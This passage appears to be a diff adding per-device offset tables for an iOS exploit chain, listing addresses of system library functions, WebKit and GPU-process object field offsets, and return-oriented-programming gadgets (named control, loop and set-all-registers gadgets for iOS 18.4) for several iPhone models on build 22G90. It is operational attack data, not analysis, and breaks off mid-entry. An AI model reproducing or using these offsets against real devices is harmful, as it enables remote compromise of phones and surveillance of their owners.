ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da6b8n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23caef8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc39870n, + libsystem_c__atexit_mutex : 0x1ed6e6c58n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5ec0n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a32e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271dbc000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87ac68n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887a38n, + WebCore__initPKContact_value : 0x1ed887a40n, + WebCore__PAL_getPKContactClass : 0x1ed87eef8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed886210n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed886208n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8861f0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87be40n, + }, + "iPhone14,2_22G90": { + __pthread_head : 0x269af4020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa528n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa010n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9f70n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9fc0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f93b8n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708248n, + free_slabs : 0x1ed7c19d0n, + gadget_control_1_ios184 : 0x23ed212ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01e150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd5216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dabf0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da8a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da8a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da8b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da7f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da8b8n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218869820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cac38b4n, + libGPUCompilerImplLazy_cstring : 0x23bc0d870n, + libsystem_c__atexit_mutex : 0x1ed6e6e58n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d028000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e60c0n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a7ae60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x27218c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87ae68n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887c38n, + WebCore__initPKContact_value : 0x1ed887c40n, + WebCore__PAL_getPKContactClass : 0x1ed87f0f8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed886410n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed886408n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8863f0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87c040n, + }, + "iPhone14,3_22G90": { + __pthread_head : 0x269af4020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa528n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa010n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9f70n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9fc0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f93b8n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708248n, + free_slabs : 0x1ed7c19d0n, + gadget_control_1_ios184 : 0x23ed212ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01e150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd5216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dabf0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da8a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da8a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da8b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da7f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da8b8n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218869820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cac38b4n, + libGPUCompilerImplLazy_cstring : 0x23bc0d870n, + libsystem_c__atexit_mutex : 0x1ed6e6e58n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d028000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e60c0n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a7ae60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x27218c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87ae68n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887c38n, + WebCore__initPKContact_value : 0x1ed887c40n, + WebCore__PAL_getPKContactClass : 0x1ed87f0f8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed886410n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed886408n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8863f0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87c040n, + }, + "iPhone14,4_22G90": { + __pthread_head : 0x2690e0020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa3e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9ed0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9e30n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9e80n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9278n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708108n, + free_slabs : 0x1ed7c1890n, + gadget_control_1_ios184 : 0x23ed1d2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01a150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7daab0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da760n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da768n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da770n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da6b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da778n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cabf8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc09870n, + libsystem_c__atexit_mutex : 0x1ed6e6d18n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5f80n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25791be60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271760000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87ad28n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887af8n, + WebCore__initPKContact_value : 0x1ed887b00n, + WebCore__PAL_getPKContactClass : 0x1ed87efb8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8862d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8862c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8862b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87bf00n, + }, + "iPhone14,5_22G90": { + __pthread_head : 0x2690e0020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa3e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9ed0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9e30n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9e80n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9278n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708108n, + free_slabs : 0x1ed7c1890n, + gadget_control_1_ios184 : 0x23ed1d2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01a150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7daab0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da760n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da768n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da770n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da6b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da778n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cabf8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc09870n, + libsystem_c__atexit_mutex : 0x1ed6e6d18n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5f80n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25791be60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271760000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87ad28n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887af8n, + WebCore__initPKContact_value : 0x1ed887b00n, + WebCore__PAL_getPKContactClass : 0x1ed87efb8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8862d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8862c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8862b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87bf00n, + }, + "iPhone14,6_22G90": { + __pthread_head : 0x26908c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa1e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9cd0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9c30n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9c80n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9078n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95e90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 